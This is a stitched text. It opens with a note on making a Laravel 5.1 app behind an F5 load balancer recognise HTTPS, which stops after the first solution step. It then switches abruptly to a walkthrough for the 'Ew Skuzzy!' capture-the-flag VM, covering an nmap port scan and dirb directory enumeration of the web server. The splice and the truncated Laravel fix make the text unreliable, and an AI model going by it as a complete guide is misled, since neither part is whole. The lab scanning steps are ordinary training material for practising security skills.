Laravel 5.1 SSL/TLS & Non-TLS interface.

Problem:

A Laravel 5.1 Application behind a BigIP F5 load-balancer applicance, which performed the SSL termination. The traffic from F5 to Laravel is only over Port 80 (internal 'secure' network) and Laravel itself thinks it is insecure, and thus all URLs to internal resources were 'http'. We also wanted to maintain the ability to serve certain unauthenticated content over HTTP.

These F5 load-balancers can roll all connections up to HTTPS, however in this instance we did not wish to perform this as the Laravel application is designed to intercept connections for another decommissioned application which served SSL and Non-SSL connections.

Solution:

1. An iRule was added to the Virtual Server on the F5 device to include a 'HTTPS' 'on' header when the request to the F5 device was HTTPS

Quick Walkthrough for Ew Skuzzy!

1. Boot the VM, on virtualbox. IP Address assigned via DHCP will be displayed on the login screen in the vm display.
2. Scan the IP with Nmap. 3 ports visible.

• ssh
• http
• iscsi

1. Skip SSH the VM has accounts which work with passwords, but I guarantee the passwords are NOT brute-forceable in shorter time than the designed path-to-root :).
2. Scan the HTTP Server with 'dirb' and 'common.txt', and enjoy what you find.

• Direct all hate to /dev/null, I'm just messing with you :p
